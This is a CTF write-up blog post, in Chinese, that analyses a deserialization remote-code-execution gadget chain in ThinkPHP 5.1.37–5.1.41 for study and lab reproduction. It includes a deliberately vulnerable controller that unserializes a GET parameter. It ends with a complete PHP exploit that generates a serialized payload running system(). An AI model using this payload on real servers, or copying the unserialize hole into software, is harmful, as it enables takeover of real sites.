thinkphp5反序列化RCE
thinkphp5.1.37-5.1.41
NewStarCTF
第三周Web题目
Maybe You Have To think More
ThinkPHP 5框架反序列化RCE
正好来研究一下php框架反序列化
php反序列化
魔法函数
__construct
:new一个对象时。__destruct
:对象销毁或脚本结束时。__get
:读取不可访问或不存在的属性时__set
:为不可访问或不存在的属性赋值时__wakeup
:反序列化时__sleep
:序列化时__isset
:对不可访问的属性使用isset()
或empty()
时__unset
:对不可访问的属性调用unset()
时__toString
:当一个对象被当作字符串处理时__invoke
:当一个对象被当作函数进行调用时__call
:当调用不可访问的方法时__callstatic
:当调用不可访问的静态方法时
php反序列化的常见入口、跳板和终点
1. 常见入口
__wakeup
、__destruct
、__toString
2. 常见跳板
__toString
、__get
、__set
、__isset
3. 常见终点
__call
、call_user_func
、call_user_func_array
靶场环境搭建
部署phpthink5环境
使用composer update
命令下载缺少的文件,将./public部署到phpstudy上成功打开网站
搭建反序列化入口
\application\index\controller\index.php
文件
<?php
namespace app\index\controller;
class Index{
public function index(){
@unserialize($_GET['hack']);
return 'thinkPHP5';
}
}
漏洞分析
过程
__destruct()->removeFiles()->file_exists()
->__toString()->toJson()->toArray()
->__call()->isAjax()->parama()->input()->filterValue()
分析
thinkphp\library\think\process\pipes\Windows.php
第56行 __destruct()
public function __destruct()
{
$this->close();
$this->removeFiles(); //跟进
}
跟进59行的removeFiles()
到第160行removeFiles()
163行的file_exists()
对$filename
当作字符串进行处理,会触发任意类的__toString
方法
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) { //跟进
@unlink($filename);
}
}
$this->files = [];
}
全局搜索__toString
thinkphp\library\think\model\concern\Conversion.php
文件第242行存在__toString
跟进244行的toString()
public function __toString()
{
return $this->toJson(); //跟进
}
继续跟进226行的toJson()
到226行
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options); //跟进toArray()
}
继续跟进228行的toArray()
到131行
184行处$this->append
可控,因此$key
、$name
可控
当$name
是数组时,进入188行,调用getRelation
方法,跟进
public function toArray() //131行
{
...
if (!empty($this->append)) { //184行
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key); //188行 getRelation()返回为空
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
}
thinkphp\library\think\model\concern\RelationShip.php
文件87行getRelation()
该函数返回空,回到上面的toArray()
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}
thinkphp\library\think\model\concern\Conversion.php
文件131行toArray()
$relation
为空,继续代码到191行的getAttr()
if (!$relation) {
$relation = $this->getAttr($key); //跟进
if ($relation) {
$relation->visible($name);
}
}
thinkphp\library\think\model\concern\Attribute.php
第472行getAttr()
getAttr
返回的是getData($name)
,继续跟进getData()
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name); //跟进
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
...
return $value
}
265行getData()
返回了this->data
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
因为getData
的this->data
可控,所以getAttr
的$value
也可控,因此getAttr
的$relation
也可控
thinkphp\library\think\model\concern\Conversion.php
文件131行toArray()
控制$relation
为一个类对象,但因为visible
方法不存在,自动触发__call
魔法方法
public function toArray(){
...
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name); //跟进
}
...
}
thinkphp\library\think\Request.php
文件327行__call()
存在call_user_func_array
仿佛看到了曙光,但是上一行的array_unshift
将$this
对象插入到了$args
数组首位
这样就限制了我们只能去用当前Request()
对象的方法
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
1655行is_Ajax()
$this->config['var_ajax']
可控,跟进$this->param()
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result; //跟进
$this->mergeParam = false;
return $result;
}
933行param()
继续跟进$this->input()
public function param($name = '', $default = null, $filter = '')
{
...
return $this->input($this->param, $name, $default, $filter);
}
1352行input()
$name
是可控的(上一步的参数),因此$data
可控,跟进$this->filterValue
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
...
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
...
} else {
$this->filterValue($data, $name, $filter); //跟进
}
}
14456行filterValue()
$data
可控,因此$value
可控,还差一个$filter
关键参数就可以call_user_func
为所欲为了
private function filterValue(&$value, $key, $filters)
{
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
...
回到1352行input()
凑$filters
参数
跟进$this->getFilter()
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
...
// 解析过滤器
$filter = $this->getFilter($filter, $default); //跟进
if (is_array($data)) {
...
} else {
$this->filterValue($data, $name, $filter);
}
}
1433行getFilter()
,$filter
可控,直接返回$this->filter
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
filterValue()
中的call_user_func()
参数全部凑齐且可控,达成RCE
复现
exp
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["dir","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
'var_method' => '_method',// 表单请求类型伪装变量
'var_ajax' => '_ajax',// 表单ajax伪装变量
'var_pjax' => '_pjax',// 表单pjax伪装变量
'var_pathinfo' => 's',// PATHINFO变量名 用于兼容模式
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],// 兼容PATH_INFO获取
'default_filter' => '',// 默认全局过滤方法 用逗号分隔多个
'url_domain_root' => '',// 域名根,如thinkphp.cn
'https_agent_name' => '',// HTTPS代理标识
'http_agent_ip' => 'HTTP_X_REAL_IP',// IP代理获取标识
'url_html_suffix' => 'html',// URL伪静态后缀
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
标签:__,function,return,name,filter,relation,RCE,thinkphp5.1,序列化
From: https://www.cnblogs.com/zhoujinxuan/p/16776664.html